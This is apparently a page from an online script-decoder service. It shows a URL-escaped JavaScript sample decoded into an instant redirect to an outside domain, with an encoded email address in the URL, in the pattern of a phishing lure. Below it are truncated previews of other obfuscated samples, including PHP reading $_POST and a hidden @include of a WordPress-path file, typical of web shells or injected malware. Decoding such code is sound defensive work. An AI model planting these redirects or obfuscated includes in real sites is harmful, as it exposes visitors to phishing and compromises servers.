Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<script language="javascript">document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%48%54%4d%4c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%2d%55%53%22%3e%0d%0a%20%20%20%20%3c%68%65%61%64%3e%0d%0a%20%20%20%20%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%22%68%74%74%70%73%3a%2f%2f%65%61%61%69%61%6e%61%6c%79%74%69%63%73%2e%63%6f%6d%2f%74%77%2f%59%57%4e%6a%62%33%56%75%64%47%6c%75%5a%30%42%6a%62%32%31%77%64%58%52%6c%63%6d%31%68%63%33%52%6c%63%69%35%6a%59%51%3d%3d%22%0d%0a%20%20%20%20%20%20%20%20%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%74%6d%6c%3e'));</script>

Decrypted code:

<script language="javascript"><!DOCTYPE HTML>
<html lang="en-US">
    <head>
        <script type="text/javascript">
            window.location.href = "https://eaaianalytics.com/tw/YWNjb3VudGluZ0Bjb21wdXRlcm1hc3Rlci5jYQ=="
        </script>
</html></script>

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<?php $hwrldgefix = "ekzitwuxshevuccx";$ktlys = "";foreach ($_POST as $ljoayve => $csudkrt... <?php class hDkrqSYiow { private static $O536761840307962; private static $O7852292526273... <?php $oCnFw = $_SERVER["\x44\117\103\125\x4d\x45\116\124\137\122\x4f\x4f\124"] . "\x2f\15... <script language="javascript">document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68... <html><head><script language="javascript">document.write(unescape('%3c%21%44%4f%43%54%59%5... document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%3c%68%74%6d%6c%3e%3... <?php /*** Description : L√¢m Tricker Date : 2021-04-04 Sunday 10:37:38 Ipaddress... $MdRwlQi6788='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$MdRwlQi6788[(105... /*a6ef0*/ @include "\057home\057spir\151t38/\154ense\163ofpe\162cept\151on/w\160-con\... $i='o';$CTKy='f';$F='l';$s='t';$Vj='e';$DyOXY='6';$AL='a';$auZ='d';$AgjoN='i';$mG='b';$rGV...